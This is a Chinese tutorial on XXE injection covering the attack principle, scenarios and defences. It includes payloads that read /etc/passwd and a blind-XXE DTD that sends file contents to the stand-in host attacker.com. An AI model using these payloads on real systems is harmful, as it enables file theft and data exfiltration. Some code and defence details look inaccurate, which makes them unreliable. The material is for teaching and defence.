XML外部实体(XXE)注入攻击详解
字数 868 2025-11-06 22:53:22

XML外部实体(XXE)注入攻击详解

描述
XML外部实体注入(XXE)是一种针对XML处理器的安全漏洞,攻击者通过构造恶意的XML外部实体声明,可导致敏感文件读取、内部端口扫描、服务器端请求伪造(SSRF)甚至远程代码执行。该漏洞常出现在接受XML输入的应用中(如Web服务、文档解析器)。

知识要点分步讲解

  1. XML基础结构回顾

    • XML文档由声明、元素和实体构成。例如:
      <?xml version="1.0"?>
      <data>&example;</data>
      
    • 实体分为内部实体(<!ENTITY example "value">)和外部实体(<!ENTITY example SYSTEM "file:///path">),后者通过SYSTEM关键字引用外部资源。
  2. XXE攻击原理

    • 当XML解析器配置不当(如启用外部实体解析)时,攻击者可注入恶意实体定义:
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE payload [
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
      <data>&xxe;</data>
      
    • 解析器会将&xxe;替换为/etc/passwd的文件内容,导致信息泄露。
  3. 攻击场景分类

    • 经典文件读取:通过file://协议读取服务器文件。
    • SSRF攻击:利用http://协议使服务器向内部系统发送请求(如http://192.168.1.1:8080)。
    • 盲注XXE:当响应不直接返回数据时,通过外带信道(如DNS日志)泄露信息。
    • DoS攻击:使用递归实体展开耗尽服务器资源(如XML炸弹)。
  4. 防御措施

    • 禁用外部实体
      • PHP:libxml_disable_entity_loader(true)
      • Java:设置XMLConstants.FEATURE_SECURE_PROCESSING
    • 使用JSON等替代格式,或通过XSD严格校验XML结构。
    • 白名单过滤:清理用户输入的DOCTYPE声明或特殊字符。

示例:盲注XXE利用步骤

  1. 攻击者托管DTD文件(如http://attacker.com/malicious.dtd):
    <!ENTITY % exfil SYSTEM "file:///etc/hostname">
    <!ENTITY % send "<!ENTITY % result SYSTEM 'http://attacker.com/?data=%exfil;'>">
    
  2. 注入XML触发外部DTD加载:
    <!DOCTYPE data [
      <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
      %dtd;
      %send;
    ]>
    
  3. 服务器解析时会向攻击者域名发送包含文件内容的请求,实现数据外泄。

通过理解XML解析机制和攻击链,可有效配置解析器或采用安全开发实践阻断XXE漏洞。

XML外部实体(XXE)注入攻击详解 描述 XML外部实体注入(XXE)是一种针对XML处理器的安全漏洞,攻击者通过构造恶意的XML外部实体声明,可导致敏感文件读取、内部端口扫描、服务器端请求伪造(SSRF)甚至远程代码执行。该漏洞常出现在接受XML输入的应用中(如Web服务、文档解析器)。 知识要点分步讲解 XML基础结构回顾 XML文档由声明、元素和实体构成。例如: 实体分为内部实体( <!ENTITY example "value"> )和外部实体( <!ENTITY example SYSTEM "file:///path"> ),后者通过SYSTEM关键字引用外部资源。 XXE攻击原理 当XML解析器配置不当(如启用外部实体解析)时,攻击者可注入恶意实体定义: 解析器会将 &xxe; 替换为 /etc/passwd 的文件内容,导致信息泄露。 攻击场景分类 经典文件读取 :通过 file:// 协议读取服务器文件。 SSRF攻击 :利用 http:// 协议使服务器向内部系统发送请求(如 http://192.168.1.1:8080 )。 盲注XXE :当响应不直接返回数据时,通过外带信道(如DNS日志)泄露信息。 DoS攻击 :使用递归实体展开耗尽服务器资源(如XML炸弹)。 防御措施 禁用外部实体 : PHP: libxml_disable_entity_loader(true) Java:设置 XMLConstants.FEATURE_SECURE_PROCESSING 使用JSON等替代格式 ,或通过XSD严格校验XML结构。 白名单过滤 :清理用户输入的DOCTYPE声明或特殊字符。 示例:盲注XXE利用步骤 攻击者托管DTD文件(如http://attacker.com/malicious.dtd): 注入XML触发外部DTD加载: 服务器解析时会向攻击者域名发送包含文件内容的请求,实现数据外泄。 通过理解XML解析机制和攻击链,可有效配置解析器或采用安全开发实践阻断XXE漏洞。